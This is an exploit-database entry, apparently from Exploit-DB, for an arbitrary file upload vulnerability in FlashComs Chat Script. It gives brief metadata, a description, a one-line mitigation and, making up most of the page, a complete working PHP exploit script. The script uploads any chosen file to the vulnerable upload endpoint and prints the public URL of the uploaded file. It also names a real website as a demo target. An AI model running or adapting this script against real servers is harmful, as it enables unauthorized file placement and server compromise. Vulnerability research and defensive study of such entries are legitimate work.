FlashComs Chat Script File Upload Exploit

vendor:

Chat Script

by:

miyachung

7,5

CVSS

HIGH

File Upload Vulnerability

434

CWE

Product Name: Chat Script

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2013

FlashComs Chat Script File Upload Exploit

This exploit allows an attacker to upload a file to the vulnerable server. The exploit is written in PHP and takes two parameters, the URL of the vulnerable server and the file to be uploaded. The exploit then sends a POST request to the server with the file and the fileId parameter set to the name of the file. If the server responds with a message containing 'UPLOAD_SUCCESS', the exploit is successful.

Mitigation:

Ensure that the server is configured to only allow the upload of files with specific extensions and that the server is configured to only allow the upload of files to specific directories.

Source

Exploit-DB raw data:

<?php
/*
       __            _                      _            ____            
      / /___ _____  (_)_____________ ______(_)__  _____ / __ \_________ _
 __  / / __ `/ __ \/ / ___/ ___/ __ `/ ___/ / _ \/ ___// / / / ___/ __ `/
/ /_/ / /_/ / / / / (__  |__  ) /_/ / /  / /  __(__  )/ /_/ / /  / /_/ / 
\____/\__,_/_/ /_/_/____/____/\__,_/_/  /_/\___/____(_)____/_/   \__, /  
                                                                /____/  
* FlashComs Chat Script File Upload Exploit
* Written by miyachung
* Date: 29.11.2013 , 13:38 AM
* Thanks to all janissaries members(burtay,KýLýCaRsLaN,TheMirkin,eno7,3spi0n,n4ss,mmxm,Michelony)
* Demo vulnerable website: http://www.npua.org/flashcoms/
* php exploit.php -u www.npua.org/flashcoms -f myfile.txt
*/

$options = getopt('u:f:');

if(!isset($options['u'],$options['f'])) die("\nHow to use: php $_SERVER[PHP_SELF] -u URL -f FILE_TO_UPLOAD\nExample: php $_SERVER[PHP_SELF] -u www.example.com/paths -f myfile.txt\n");

$handle = curl_init();
curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);
curl_setopt($handle, CURLOPT_URL, "http://".$options['u']."/common/server/php/file.php?action=upload");
curl_setopt($handle, CURLOPT_POSTFIELDS,array("Filedata" => "@".$options['f']."","fileId" => $options["f"]));
$result = curl_exec($handle);

if(strpos($result,"UPLOAD_SUCCESS")){
	echo "\n_____________________________________________________________________\n";
	echo "\t[+] Exploitation success!!\n";
	echo "\t[+] http://$options[u]/files/$options[f]\n";
	echo "_____________________________________________________________________\n";
}else{
	echo "\n[-] Target is not exploitable\n";
	preg_match('#msg="(.*?)" />#si',$result,$msg);
	echo "[-] Message: ".$msg[1]."\n";
}                              

?>